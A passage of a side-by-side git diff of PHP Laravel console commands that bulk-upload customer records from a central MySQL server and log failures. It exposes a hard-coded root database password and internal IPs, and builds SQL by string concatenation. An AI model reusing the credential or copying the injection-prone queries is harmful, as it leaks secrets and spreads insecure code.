| ... | @@ -108,7 +116,6 @@ class bulkServerUpload_3 extends Command { | ... | @@ -108,7 +116,6 @@ class bulkServerUpload_3 extends Command { |
| 108 | $excelarray[$i]["id"]=$wakka->Query("insert into","","records",array('created'=>date('Y-m-d H:i:s'))); | 116 | $excelarray[$i]["id"]=$wakka->Query("insert into","","records",array('created'=>date('Y-m-d H:i:s'))); |
| 109 | } | 117 | } |
| 110 | else $excelarray[$i]["id"]=intval($excelarray[$i]["id"]); | 118 | else $excelarray[$i]["id"]=intval($excelarray[$i]["id"]); |
| 111 | |||
| 112 | if($wakka->getCount("records","id='".$excelarray[$i]["id"]."'")==1) | 119 | if($wakka->getCount("records","id='".$excelarray[$i]["id"]."'")==1) |
| 113 | { | 120 | { |
| 114 | $empdata=$wakka->getPerson($excelarray[$i]["id"]); | 121 | $empdata=$wakka->getPerson($excelarray[$i]["id"]); |
| ... | @@ -164,9 +171,28 @@ class bulkServerUpload_3 extends Command { | ... | @@ -164,9 +171,28 @@ class bulkServerUpload_3 extends Command { |
| 164 | $successArr[] = $excelarray[$i]; | 171 | $successArr[] = $excelarray[$i]; |
| 165 | 172 | ||
| 166 | } | 173 | } |
| 174 | else | ||
| 175 | { | ||
| 176 | $reason = ""; | ||
| 177 | |||
| 178 | $reason .= "Record ID is not on local server,"; | ||
| 179 | |||
| 180 | $excelarray[$i]['server_ip'] =$server_ip; | ||
| 181 | $excelarray[$i]['location'] =$location; | ||
| 182 | |||
| 183 | if($excelarray[$i]["clientcode"]!="") | ||
| 184 | $excelarray[$i]['cust_id'] =$excelarray[$i]["clientcode"]; | ||
| 185 | $excelarray[$i]['record_id'] = $excelarray[$i]["id"]; | ||
| 186 | |||
| 187 | $excelarray[$i]['Reason'] = $reason; | ||
| 188 | |||
| 189 | $failureArr[] = $excelarray[$i]; | ||
| 190 | |||
| 191 | } | ||
| 167 | } | 192 | } |
| 168 | else | 193 | else |
| 169 | { | 194 | { |
| 195 | |||
| 170 | $reason = ""; | 196 | $reason = ""; |
| 171 | 197 | ||
| 172 | if($excelarray[$i]["id"]=="") | 198 | if($excelarray[$i]["id"]=="") |
| ... | @@ -181,10 +207,10 @@ class bulkServerUpload_3 extends Command { | ... | @@ -181,10 +207,10 @@ class bulkServerUpload_3 extends Command { |
| 181 | $excelarray[$i]['Reason'] = $reason; | 207 | $excelarray[$i]['Reason'] = $reason; |
| 182 | 208 | ||
| 183 | $failureArr[] = $excelarray[$i]; | 209 | $failureArr[] = $excelarray[$i]; |
| 184 | } | ||
| 185 | 210 | ||
| 186 | } | 211 | } |
| 187 | 212 | ||
| 213 | } | ||
| 188 | if(!empty($successArr)){ | 214 | if(!empty($successArr)){ |
| 189 | foreach($successArr as $succes) | 215 | foreach($successArr as $succes) |
| 190 | { | 216 | { |
| ... | @@ -201,7 +227,6 @@ class bulkServerUpload_3 extends Command { | ... | @@ -201,7 +227,6 @@ class bulkServerUpload_3 extends Command { |
| 201 | DB::connection("conn")->insert(DB::raw("insert into bz_record_upload_uat_success set $setSuccess")); | 227 | DB::connection("conn")->insert(DB::raw("insert into bz_record_upload_uat_success set $setSuccess")); |
| 202 | } | 228 | } |
| 203 | } | 229 | } |
| 204 | |||
| 205 | if(!empty($failureArr)){ | 230 | if(!empty($failureArr)){ |
| 206 | foreach($failureArr as $failur) | 231 | foreach($failureArr as $failur) |
| 207 | { | 232 | { |
| ... | @@ -210,6 +235,7 @@ class bulkServerUpload_3 extends Command { | ... | @@ -210,6 +235,7 @@ class bulkServerUpload_3 extends Command { |
| 210 | $setFailure[] = "server_ip='$server_ip'"; | 235 | $setFailure[] = "server_ip='$server_ip'"; |
| 211 | $setFailure[] = "location='$location'"; | 236 | $setFailure[] = "location='$location'"; |
| 212 | $setFailure[] = "cust_id='".$failur['clientcode']."'"; | 237 | $setFailure[] = "cust_id='".$failur['clientcode']."'"; |
| 238 | $setFailure[] = "record_id='".$failur['record_id']."'"; | ||
| 213 | $setFailure[] = "reason='".$failur['Reason']."'"; | 239 | $setFailure[] = "reason='".$failur['Reason']."'"; |
| 214 | 240 | ||
| 215 | $setFailure = implode(",",$setFailure); | 241 | $setFailure = implode(",",$setFailure); | ... | ... |
application/app/Console/13jul17_Commands/bulkServerUpload_daily.php
→
application/app/Console/181017_Commands/bulkServerUpload_4.php
100755 → 100644
| ... | @@ -18,21 +18,21 @@ use Input; | ... | @@ -18,21 +18,21 @@ use Input; |
| 18 | 18 | ||
| 19 | use Illuminate\Database\Schema\Blueprint; | 19 | use Illuminate\Database\Schema\Blueprint; |
| 20 | 20 | ||
| 21 | class bulkServerUpload_daily extends Command { | 21 | class bulkServerUpload_4 extends Command { |
| 22 | 22 | ||
| 23 | /** | 23 | /** |
| 24 | * The console command name. | 24 | * The console command name. |
| 25 | * | 25 | * |
| 26 | * @var string | 26 | * @var string |
| 27 | */ | 27 | */ |
| 28 | protected $signature = 'bulkServerUpload_daily'; | 28 | protected $signature = 'bulkServerUpload_4'; |
| 29 | 29 | ||
| 30 | /** | 30 | /** |
| 31 | * The console command description. | 31 | * The console command description. |
| 32 | * | 32 | * |
| 33 | * @var string | 33 | * @var string |
| 34 | */ | 34 | */ |
| 35 | protected $description = 'bulkServerUpload_daily'; | 35 | protected $description = 'bulkServerUpload_4'; |
| 36 | 36 | ||
| 37 | /** | 37 | /** |
| 38 | * Execute the console command. | 38 | * Execute the console command. |
| ... | @@ -42,7 +42,13 @@ class bulkServerUpload_daily extends Command { | ... | @@ -42,7 +42,13 @@ class bulkServerUpload_daily extends Command { |
| 42 | public function handle() | 42 | public function handle() |
| 43 | { | 43 | { |
| 44 | 44 | ||
| 45 | echo "\n".date('Y-m-d')."\n"; | 45 | //echo "\n".date('Y-m-d')."\n"; |
| 46 | |||
| 47 | echo "5"; | ||
| 48 | echo "\n".date('Y-m-d H:i:s')."\n"; | ||
| 49 | $server_ip=env('app_ip'); | ||
| 50 | $central_ip=env('central_ip'); | ||
| 51 | |||
| 46 | 52 | ||
| 47 | $wakka = new KHRMSLib(); | 53 | $wakka = new KHRMSLib(); |
| 48 | 54 | ||
| ... | @@ -64,7 +70,7 @@ class bulkServerUpload_daily extends Command { | ... | @@ -64,7 +70,7 @@ class bulkServerUpload_daily extends Command { |
| 64 | 70 | ||
| 65 | $conn = array( | 71 | $conn = array( |
| 66 | 'driver' => 'mysql', | 72 | 'driver' => 'mysql', |
| 67 | 'host' => '10.3.177.14', | 73 | 'host' => $central_ip, |
| 68 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | 74 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), |
| 69 | 'username' => env('DB_USERNAME', 'root'), | 75 | 'username' => env('DB_USERNAME', 'root'), |
| 70 | 'password' => env('DB_PASSWORD', 'yb9738z'), | 76 | 'password' => env('DB_PASSWORD', 'yb9738z'), |
| ... | @@ -78,11 +84,12 @@ class bulkServerUpload_daily extends Command { | ... | @@ -78,11 +84,12 @@ class bulkServerUpload_daily extends Command { |
| 78 | Config::set("database.connections.conn", $conn); | 84 | Config::set("database.connections.conn", $conn); |
| 79 | 85 | ||
| 80 | DB::connection("conn")->getDatabaseName(); | 86 | DB::connection("conn")->getDatabaseName(); |
| 87 | $serverclist=DB::connection("conn")->select(DB::raw("select location from server_details where server_ip='$server_ip'")); | ||
| 88 | $location=$serverclist[0]->location; | ||
| 81 | 89 | ||
| 82 | $excelarray = DB::connection("conn")->select(DB::raw("select * from bz_record_upload_uat_daily where SERVER_IP='10.3.179.121' order by auto_id asc limit 0,200")); | ||
| 83 | 90 | ||
| 84 | $server_ip='10.3.179.121'; | 91 | $excelarray = DB::connection("conn")->select(DB::raw("select * from bz_record_upload_uat where SERVER_IP='$server_ip' order by auto_id asc limit 80001,100000")); |
| 85 | $location='Mumbai'; | 92 | |
| 86 | $conn=''; | 93 | $conn=''; |
| 87 | 94 | ||
| 88 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | 95 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); |
| ... | @@ -91,7 +98,7 @@ class bulkServerUpload_daily extends Command { | ... | @@ -91,7 +98,7 @@ class bulkServerUpload_daily extends Command { |
| 91 | $excelarray[$key] = (array)$array; | 98 | $excelarray[$key] = (array)$array; |
| 92 | } | 99 | } |
| 93 | 100 | ||
| 94 | $highestColumn = DB::connection("conn")->select(DB::raw("select count(*) as cnt from information_schema.columns where table_name='bz_record_upload_uat_daily'")); | 101 | $highestColumn = DB::connection("conn")->select(DB::raw("select count(*) as cnt from information_schema.columns where table_name='bz_record_upload_uat'")); |
| 95 | $highestColumn = $highestColumn[0]->cnt; | 102 | $highestColumn = $highestColumn[0]->cnt; |
| 96 | 103 | ||
| 97 | $highestrow = count($excelarray); | 104 | $highestrow = count($excelarray); |
| ... | @@ -99,7 +106,7 @@ class bulkServerUpload_daily extends Command { | ... | @@ -99,7 +106,7 @@ class bulkServerUpload_daily extends Command { |
| 99 | $flag = 0; | 106 | $flag = 0; |
| 100 | $editflag=0; | 107 | $editflag=0; |
| 101 | 108 | ||
| 102 | for($i=0;$i<=$highestrow;$i++) | 109 | for($i=0;$i<$highestrow;$i++) |
| 103 | { | 110 | { |
| 104 | if($excelarray[$i]["id"]!="") | 111 | if($excelarray[$i]["id"]!="") |
| 105 | { | 112 | { |
| ... | @@ -108,7 +115,6 @@ class bulkServerUpload_daily extends Command { | ... | @@ -108,7 +115,6 @@ class bulkServerUpload_daily extends Command { |
| 108 | $excelarray[$i]["id"]=$wakka->Query("insert into","","records",array('created'=>date('Y-m-d H:i:s'))); | 115 | $excelarray[$i]["id"]=$wakka->Query("insert into","","records",array('created'=>date('Y-m-d H:i:s'))); |
| 109 | } | 116 | } |
| 110 | else $excelarray[$i]["id"]=intval($excelarray[$i]["id"]); | 117 | else $excelarray[$i]["id"]=intval($excelarray[$i]["id"]); |
| 111 | |||
| 112 | if($wakka->getCount("records","id='".$excelarray[$i]["id"]."'")==1) | 118 | if($wakka->getCount("records","id='".$excelarray[$i]["id"]."'")==1) |
| 113 | { | 119 | { |
| 114 | $empdata=$wakka->getPerson($excelarray[$i]["id"]); | 120 | $empdata=$wakka->getPerson($excelarray[$i]["id"]); |
| ... | @@ -164,9 +170,28 @@ class bulkServerUpload_daily extends Command { | ... | @@ -164,9 +170,28 @@ class bulkServerUpload_daily extends Command { |
| 164 | $successArr[] = $excelarray[$i]; | 170 | $successArr[] = $excelarray[$i]; |
| 165 | 171 | ||
| 166 | } | 172 | } |
| 173 | else | ||
| 174 | { | ||
| 175 | $reason = ""; | ||
| 176 | |||
| 177 | $reason .= "Record ID is not on local server,"; | ||
| 178 | |||
| 179 | $excelarray[$i]['server_ip'] =$server_ip; | ||
| 180 | $excelarray[$i]['location'] =$location; | ||
| 181 | |||
| 182 | if($excelarray[$i]["clientcode"]!="") | ||
| 183 | $excelarray[$i]['cust_id'] =$excelarray[$i]["clientcode"]; | ||
| 184 | $excelarray[$i]['record_id'] = $excelarray[$i]["id"]; | ||
| 185 | |||
| 186 | $excelarray[$i]['Reason'] = $reason; | ||
| 187 | |||
| 188 | $failureArr[] = $excelarray[$i]; | ||
| 189 | |||
| 190 | } | ||
| 167 | } | 191 | } |
| 168 | else | 192 | else |
| 169 | { | 193 | { |
| 194 | |||
| 170 | $reason = ""; | 195 | $reason = ""; |
| 171 | 196 | ||
| 172 | if($excelarray[$i]["id"]=="") | 197 | if($excelarray[$i]["id"]=="") |
| ... | @@ -181,10 +206,10 @@ class bulkServerUpload_daily extends Command { | ... | @@ -181,10 +206,10 @@ class bulkServerUpload_daily extends Command { |
| 181 | $excelarray[$i]['Reason'] = $reason; | 206 | $excelarray[$i]['Reason'] = $reason; |
| 182 | 207 | ||
| 183 | $failureArr[] = $excelarray[$i]; | 208 | $failureArr[] = $excelarray[$i]; |
| 184 | } | ||
| 185 | 209 | ||
| 186 | } | 210 | } |
| 187 | 211 | ||
| 212 | } | ||
| 188 | if(!empty($successArr)){ | 213 | if(!empty($successArr)){ |
| 189 | foreach($successArr as $succes) | 214 | foreach($successArr as $succes) |
| 190 | { | 215 | { |
| ... | @@ -198,10 +223,9 @@ class bulkServerUpload_daily extends Command { | ... | @@ -198,10 +223,9 @@ class bulkServerUpload_daily extends Command { |
| 198 | 223 | ||
| 199 | $setSuccess = implode(",",$setSuccess); | 224 | $setSuccess = implode(",",$setSuccess); |
| 200 | 225 | ||
| 201 | DB::connection("conn")->insert(DB::raw("insert into bz_record_upload_uat_success_daily set $setSuccess")); | 226 | DB::connection("conn")->insert(DB::raw("insert into bz_record_upload_uat_success set $setSuccess")); |
| 202 | } | 227 | } |
| 203 | } | 228 | } |
| 204 | |||
| 205 | if(!empty($failureArr)){ | 229 | if(!empty($failureArr)){ |
| 206 | foreach($failureArr as $failur) | 230 | foreach($failureArr as $failur) |
| 207 | { | 231 | { |
| ... | @@ -210,17 +234,15 @@ class bulkServerUpload_daily extends Command { | ... | @@ -210,17 +234,15 @@ class bulkServerUpload_daily extends Command { |
| 210 | $setFailure[] = "server_ip='$server_ip'"; | 234 | $setFailure[] = "server_ip='$server_ip'"; |
| 211 | $setFailure[] = "location='$location'"; | 235 | $setFailure[] = "location='$location'"; |
| 212 | $setFailure[] = "cust_id='".$failur['clientcode']."'"; | 236 | $setFailure[] = "cust_id='".$failur['clientcode']."'"; |
| 237 | $setFailure[] = "record_id='".$failur['record_id']."'"; | ||
| 213 | $setFailure[] = "reason='".$failur['Reason']."'"; | 238 | $setFailure[] = "reason='".$failur['Reason']."'"; |
| 214 | 239 | ||
| 215 | $setFailure = implode(",",$setFailure); | 240 | $setFailure = implode(",",$setFailure); |
| 216 | 241 | ||
| 217 | DB::connection("conn")->insert(DB::raw("insert into bz_record_upload_uat_failure_daily set $setFailure")); | 242 | DB::connection("conn")->insert(DB::raw("insert into bz_record_upload_uat_failure set $setFailure")); |
| 218 | } | 243 | } |
| 219 | } | 244 | } |
| 220 | DB::connection("conn")->delete(DB::raw("DELETE FROM `bz_record_upload_uat_daily` where SERVER_IP='10.3.179.121'")); | ||
| 221 | 245 | ||
| 222 | DB::connection("conn")->disconnect(); | 246 | DB::connection("conn")->disconnect(); |
| 223 | |||
| 224 | |||
| 225 | } | 247 | } |
| 226 | } | 248 | } | ... | ... |
application/app/Console/13jul17_Commands/bulkServerUpload_test.php
→
application/app/Console/181017_Commands/bulkServerUpload_5.php
100755 → 100644
| ... | @@ -18,21 +18,21 @@ use Input; | ... | @@ -18,21 +18,21 @@ use Input; |
| 18 | 18 | ||
| 19 | use Illuminate\Database\Schema\Blueprint; | 19 | use Illuminate\Database\Schema\Blueprint; |
| 20 | 20 | ||
| 21 | class bulkServerUpload extends Command { | 21 | class bulkServerUpload_5 extends Command { |
| 22 | 22 | ||
| 23 | /** | 23 | /** |
| 24 | * The console command name. | 24 | * The console command name. |
| 25 | * | 25 | * |
| 26 | * @var string | 26 | * @var string |
| 27 | */ | 27 | */ |
| 28 | protected $signature = 'bulkServerUpload'; | 28 | protected $signature = 'bulkServerUpload_5'; |
| 29 | 29 | ||
| 30 | /** | 30 | /** |
| 31 | * The console command description. | 31 | * The console command description. |
| 32 | * | 32 | * |
| 33 | * @var string | 33 | * @var string |
| 34 | */ | 34 | */ |
| 35 | protected $description = 'bulkServerUpload'; | 35 | protected $description = 'bulkServerUpload_5'; |
| 36 | 36 | ||
| 37 | /** | 37 | /** |
| 38 | * Execute the console command. | 38 | * Execute the console command. |
| ... | @@ -42,7 +42,13 @@ class bulkServerUpload extends Command { | ... | @@ -42,7 +42,13 @@ class bulkServerUpload extends Command { |
| 42 | public function handle() | 42 | public function handle() |
| 43 | { | 43 | { |
| 44 | 44 | ||
| 45 | echo "\n".date('Y-m-d')."\n"; | 45 | //echo "\n".date('Y-m-d')."\n"; |
| 46 | |||
| 47 | echo "6"; | ||
| 48 | echo "\n".date('Y-m-d H:i:s')."\n"; | ||
| 49 | $server_ip=env('app_ip'); | ||
| 50 | $central_ip=env('central_ip'); | ||
| 51 | |||
| 46 | 52 | ||
| 47 | $wakka = new KHRMSLib(); | 53 | $wakka = new KHRMSLib(); |
| 48 | 54 | ||
| ... | @@ -64,7 +70,7 @@ class bulkServerUpload extends Command { | ... | @@ -64,7 +70,7 @@ class bulkServerUpload extends Command { |
| 64 | 70 | ||
| 65 | $conn = array( | 71 | $conn = array( |
| 66 | 'driver' => 'mysql', | 72 | 'driver' => 'mysql', |
| 67 | 'host' => '10.3.177.14', | 73 | 'host' => $central_ip, |
| 68 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | 74 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), |
| 69 | 'username' => env('DB_USERNAME', 'root'), | 75 | 'username' => env('DB_USERNAME', 'root'), |
| 70 | 'password' => env('DB_PASSWORD', 'yb9738z'), | 76 | 'password' => env('DB_PASSWORD', 'yb9738z'), |
| ... | @@ -79,11 +85,19 @@ class bulkServerUpload extends Command { | ... | @@ -79,11 +85,19 @@ class bulkServerUpload extends Command { |
| 79 | 85 | ||
| 80 | DB::connection("conn")->getDatabaseName(); | 86 | DB::connection("conn")->getDatabaseName(); |
| 81 | 87 | ||
| 82 | $excelarray = DB::connection("conn")->select(DB::raw("select * from bz_record_upload_uat where SERVER_IP='10.3.179.121' order by auto_id asc limit 0,20000")); | 88 | $serverclist=DB::connection("conn")->select(DB::raw("select location from server_details where server_ip='$server_ip'")); |
| 89 | $location=$serverclist[0]->location; | ||
| 90 | |||
| 91 | |||
| 92 | $excelarray = DB::connection("conn")->select(DB::raw("select * from bz_record_upload_uat where SERVER_IP='$server_ip' order by auto_id asc limit 100001,120000")); | ||
| 93 | |||
| 94 | $conn=''; | ||
| 95 | |||
| 96 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | ||
| 83 | 97 | ||
| 84 | foreach($excelarray as $key => $array){ | 98 | foreach($excelarray as $key => $array){ |
| 85 | $excelarray[$key] = (array)$array; | 99 | $excelarray[$key] = (array)$array; |
| 86 | } | 100 | } |
| 87 | 101 | ||
| 88 | $highestColumn = DB::connection("conn")->select(DB::raw("select count(*) as cnt from information_schema.columns where table_name='bz_record_upload_uat'")); | 102 | $highestColumn = DB::connection("conn")->select(DB::raw("select count(*) as cnt from information_schema.columns where table_name='bz_record_upload_uat'")); |
| 89 | $highestColumn = $highestColumn[0]->cnt; | 103 | $highestColumn = $highestColumn[0]->cnt; |
| ... | @@ -93,7 +107,7 @@ class bulkServerUpload extends Command { | ... | @@ -93,7 +107,7 @@ class bulkServerUpload extends Command { |
| 93 | $flag = 0; | 107 | $flag = 0; |
| 94 | $editflag=0; | 108 | $editflag=0; |
| 95 | 109 | ||
| 96 | for($i=0;$i<=$highestrow;$i++) | 110 | for($i=0;$i<$highestrow;$i++) |
| 97 | { | 111 | { |
| 98 | if($excelarray[$i]["id"]!="") | 112 | if($excelarray[$i]["id"]!="") |
| 99 | { | 113 | { |
| ... | @@ -102,7 +116,6 @@ class bulkServerUpload extends Command { | ... | @@ -102,7 +116,6 @@ class bulkServerUpload extends Command { |
| 102 | $excelarray[$i]["id"]=$wakka->Query("insert into","","records",array('created'=>date('Y-m-d H:i:s'))); | 116 | $excelarray[$i]["id"]=$wakka->Query("insert into","","records",array('created'=>date('Y-m-d H:i:s'))); |
| 103 | } | 117 | } |
| 104 | else $excelarray[$i]["id"]=intval($excelarray[$i]["id"]); | 118 | else $excelarray[$i]["id"]=intval($excelarray[$i]["id"]); |
| 105 | |||
| 106 | if($wakka->getCount("records","id='".$excelarray[$i]["id"]."'")==1) | 119 | if($wakka->getCount("records","id='".$excelarray[$i]["id"]."'")==1) |
| 107 | { | 120 | { |
| 108 | $empdata=$wakka->getPerson($excelarray[$i]["id"]); | 121 | $empdata=$wakka->getPerson($excelarray[$i]["id"]); |
| ... | @@ -158,9 +171,28 @@ class bulkServerUpload extends Command { | ... | @@ -158,9 +171,28 @@ class bulkServerUpload extends Command { |
| 158 | $successArr[] = $excelarray[$i]; | 171 | $successArr[] = $excelarray[$i]; |
| 159 | 172 | ||
| 160 | } | 173 | } |
| 174 | else | ||
| 175 | { | ||
| 176 | $reason = ""; | ||
| 177 | |||
| 178 | $reason .= "Record ID is not on local server,"; | ||
| 179 | |||
| 180 | $excelarray[$i]['server_ip'] =$server_ip; | ||
| 181 | $excelarray[$i]['location'] =$location; | ||
| 182 | |||
| 183 | if($excelarray[$i]["clientcode"]!="") | ||
| 184 | $excelarray[$i]['cust_id'] =$excelarray[$i]["clientcode"]; | ||
| 185 | $excelarray[$i]['record_id'] = $excelarray[$i]["id"]; | ||
| 186 | |||
| 187 | $excelarray[$i]['Reason'] = $reason; | ||
| 188 | |||
| 189 | $failureArr[] = $excelarray[$i]; | ||
| 190 | |||
| 191 | } | ||
| 161 | } | 192 | } |
| 162 | else | 193 | else |
| 163 | { | 194 | { |
| 195 | |||
| 164 | $reason = ""; | 196 | $reason = ""; |
| 165 | 197 | ||
| 166 | if($excelarray[$i]["id"]=="") | 198 | if($excelarray[$i]["id"]=="") |
| ... | @@ -175,11 +207,11 @@ class bulkServerUpload extends Command { | ... | @@ -175,11 +207,11 @@ class bulkServerUpload extends Command { |
| 175 | $excelarray[$i]['Reason'] = $reason; | 207 | $excelarray[$i]['Reason'] = $reason; |
| 176 | 208 | ||
| 177 | $failureArr[] = $excelarray[$i]; | 209 | $failureArr[] = $excelarray[$i]; |
| 178 | } | ||
| 179 | 210 | ||
| 180 | } | 211 | } |
| 181 | 212 | ||
| 182 | if(!empty($successArr)){ | 213 | } |
| 214 | if(!empty($successArr)){ | ||
| 183 | foreach($successArr as $succes) | 215 | foreach($successArr as $succes) |
| 184 | { | 216 | { |
| 185 | $setSuccess=array(); | 217 | $setSuccess=array(); |
| ... | @@ -195,7 +227,6 @@ if(!empty($successArr)){ | ... | @@ -195,7 +227,6 @@ if(!empty($successArr)){ |
| 195 | DB::connection("conn")->insert(DB::raw("insert into bz_record_upload_uat_success set $setSuccess")); | 227 | DB::connection("conn")->insert(DB::raw("insert into bz_record_upload_uat_success set $setSuccess")); |
| 196 | } | 228 | } |
| 197 | } | 229 | } |
| 198 | |||
| 199 | if(!empty($failureArr)){ | 230 | if(!empty($failureArr)){ |
| 200 | foreach($failureArr as $failur) | 231 | foreach($failureArr as $failur) |
| 201 | { | 232 | { |
| ... | @@ -204,6 +235,7 @@ if(!empty($successArr)){ | ... | @@ -204,6 +235,7 @@ if(!empty($successArr)){ |
| 204 | $setFailure[] = "server_ip='$server_ip'"; | 235 | $setFailure[] = "server_ip='$server_ip'"; |
| 205 | $setFailure[] = "location='$location'"; | 236 | $setFailure[] = "location='$location'"; |
| 206 | $setFailure[] = "cust_id='".$failur['clientcode']."'"; | 237 | $setFailure[] = "cust_id='".$failur['clientcode']."'"; |
| 238 | $setFailure[] = "record_id='".$failur['record_id']."'"; | ||
| 207 | $setFailure[] = "reason='".$failur['Reason']."'"; | 239 | $setFailure[] = "reason='".$failur['Reason']."'"; |
| 208 | 240 | ||
| 209 | $setFailure = implode(",",$setFailure); | 241 | $setFailure = implode(",",$setFailure); |
| ... | @@ -212,8 +244,6 @@ if(!empty($successArr)){ | ... | @@ -212,8 +244,6 @@ if(!empty($successArr)){ |
| 212 | } | 244 | } |
| 213 | } | 245 | } |
| 214 | 246 | ||
| 215 | DB::connection("conn")->disconnect(); | 247 | DB::connection("conn")->disconnect(); |
| 216 | |||
| 217 | |||
| 218 | } | 248 | } |
| 219 | } | 249 | } | ... | ... |
application/app/Console/13jul17_Commands/bulkServerUpload_2.php
→
application/app/Console/181017_Commands/bulkServerUpload_6.php
100755 → 100644
| ... | @@ -18,21 +18,21 @@ use Input; | ... | @@ -18,21 +18,21 @@ use Input; |
| 18 | 18 | ||
| 19 | use Illuminate\Database\Schema\Blueprint; | 19 | use Illuminate\Database\Schema\Blueprint; |
| 20 | 20 | ||
| 21 | class bulkServerUpload_2 extends Command { | 21 | class bulkServerUpload_6 extends Command { |
| 22 | 22 | ||
| 23 | /** | 23 | /** |
| 24 | * The console command name. | 24 | * The console command name. |
| 25 | * | 25 | * |
| 26 | * @var string | 26 | * @var string |
| 27 | */ | 27 | */ |
| 28 | protected $signature = 'bulkServerUpload_2'; | 28 | protected $signature = 'bulkServerUpload_6'; |
| 29 | 29 | ||
| 30 | /** | 30 | /** |
| 31 | * The console command description. | 31 | * The console command description. |
| 32 | * | 32 | * |
| 33 | * @var string | 33 | * @var string |
| 34 | */ | 34 | */ |
| 35 | protected $description = 'bulkServerUpload_2'; | 35 | protected $description = 'bulkServerUpload_6'; |
| 36 | 36 | ||
| 37 | /** | 37 | /** |
| 38 | * Execute the console command. | 38 | * Execute the console command. |
| ... | @@ -42,7 +42,13 @@ class bulkServerUpload_2 extends Command { | ... | @@ -42,7 +42,13 @@ class bulkServerUpload_2 extends Command { |
| 42 | public function handle() | 42 | public function handle() |
| 43 | { | 43 | { |
| 44 | 44 | ||
| 45 | echo "\n".date('Y-m-d')."\n"; | 45 | //echo "\n".date('Y-m-d')."\n"; |
| 46 | |||
| 47 | echo "6"; | ||
| 48 | echo "\n".date('Y-m-d H:i:s')."\n"; | ||
| 49 | $server_ip=env('app_ip'); | ||
| 50 | $central_ip=env('central_ip'); | ||
| 51 | |||
| 46 | 52 | ||
| 47 | $wakka = new KHRMSLib(); | 53 | $wakka = new KHRMSLib(); |
| 48 | 54 | ||
| ... | @@ -64,7 +70,7 @@ class bulkServerUpload_2 extends Command { | ... | @@ -64,7 +70,7 @@ class bulkServerUpload_2 extends Command { |
| 64 | 70 | ||
| 65 | $conn = array( | 71 | $conn = array( |
| 66 | 'driver' => 'mysql', | 72 | 'driver' => 'mysql', |
| 67 | 'host' => '10.3.177.14', | 73 | 'host' => $central_ip, |
| 68 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), | 74 | 'database' => env('DB_DATABASE', 'kstych_flexydial'), |
| 69 | 'username' => env('DB_USERNAME', 'root'), | 75 | 'username' => env('DB_USERNAME', 'root'), |
| 70 | 'password' => env('DB_PASSWORD', 'yb9738z'), | 76 | 'password' => env('DB_PASSWORD', 'yb9738z'), |
| ... | @@ -79,10 +85,12 @@ class bulkServerUpload_2 extends Command { | ... | @@ -79,10 +85,12 @@ class bulkServerUpload_2 extends Command { |
| 79 | 85 | ||
| 80 | DB::connection("conn")->getDatabaseName(); | 86 | DB::connection("conn")->getDatabaseName(); |
| 81 | 87 | ||
| 82 | $excelarray = DB::connection("conn")->select(DB::raw("select * from bz_record_upload_uat where SERVER_IP='10.3.179.121' order by auto_id asc limit 40001,60000")); | 88 | $serverclist=DB::connection("conn")->select(DB::raw("select location from server_details where server_ip='$server_ip'")); |
| 89 | $location=$serverclist[0]->location; | ||
| 90 | |||
| 91 | |||
| 92 | $excelarray = DB::connection("conn")->select(DB::raw("select * from bz_record_upload_uat where SERVER_IP='$server_ip' order by auto_id asc limit 120001,140000")); | ||
| 83 | 93 | ||
| 84 | $server_ip='10.3.179.121'; | ||
| 85 | $location='Mumbai'; | ||
| 86 | $conn=''; | 94 | $conn=''; |
| 87 | 95 | ||
| 88 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); | 96 | $tcol=0;$fieldsarr=array();$extrahdrarr=array(); |
| ... | @@ -99,7 +107,7 @@ class bulkServerUpload_2 extends Command { | ... | @@ -99,7 +107,7 @@ class bulkServerUpload_2 extends Command { |
| 99 | $flag = 0; | 107 | $flag = 0; |
| 100 | $editflag=0; | 108 | $editflag=0; |
| 101 | 109 | ||
| 102 | for($i=0;$i<=$highestrow;$i++) | 110 | for($i=0;$i<$highestrow;$i++) |
| 103 | { | 111 | { |
| 104 | if($excelarray[$i]["id"]!="") | 112 | if($excelarray[$i]["id"]!="") |
| 105 | { | 113 | { |
| ... | @@ -108,7 +116,6 @@ class bulkServerUpload_2 extends Command { | ... | @@ -108,7 +116,6 @@ class bulkServerUpload_2 extends Command { |
| 108 | $excelarray[$i]["id"]=$wakka->Query("insert into","","records",array('created'=>date('Y-m-d H:i:s'))); | 116 | $excelarray[$i]["id"]=$wakka->Query("insert into","","records",array('created'=>date('Y-m-d H:i:s'))); |
| 109 | } | 117 | } |
| 110 | else $excelarray[$i]["id"]=intval($excelarray[$i]["id"]); | 118 | else $excelarray[$i]["id"]=intval($excelarray[$i]["id"]); |
| 111 | |||
| 112 | if($wakka->getCount("records","id='".$excelarray[$i]["id"]."'")==1) | 119 | if($wakka->getCount("records","id='".$excelarray[$i]["id"]."'")==1) |
| 113 | { | 120 | { |
| 114 | $empdata=$wakka->getPerson($excelarray[$i]["id"]); | 121 | $empdata=$wakka->getPerson($excelarray[$i]["id"]); |
| ... | @@ -164,9 +171,28 @@ class bulkServerUpload_2 extends Command { | ... | @@ -164,9 +171,28 @@ class bulkServerUpload_2 extends Command { |
| 164 | $successArr[] = $excelarray[$i]; | 171 | $successArr[] = $excelarray[$i]; |
| 165 | 172 | ||
| 166 | } | 173 | } |
| 174 | else | ||
| 175 | { | ||
| 176 | $reason = ""; | ||
| 177 | |||
| 178 | $reason .= "Record ID is not on local server,"; | ||
| 179 | |||
| 180 | $excelarray[$i]['server_ip'] =$server_ip; | ||
| 181 | $excelarray[$i]['location'] =$location; | ||
| 182 | |||
| 183 | if($excelarray[$i]["clientcode"]!="") | ||
| 184 | $excelarray[$i]['cust_id'] =$excelarray[$i]["clientcode"]; | ||
| 185 | $excelarray[$i]['record_id'] = $excelarray[$i]["id"]; | ||
| 186 | |||
| 187 | $excelarray[$i]['Reason'] = $reason; | ||
| 188 | |||
| 189 | $failureArr[] = $excelarray[$i]; | ||
| 190 | |||
| 191 | } | ||
| 167 | } | 192 | } |
| 168 | else | 193 | else |
| 169 | { | 194 | { |
| 195 | |||
| 170 | $reason = ""; | 196 | $reason = ""; |
| 171 | 197 | ||
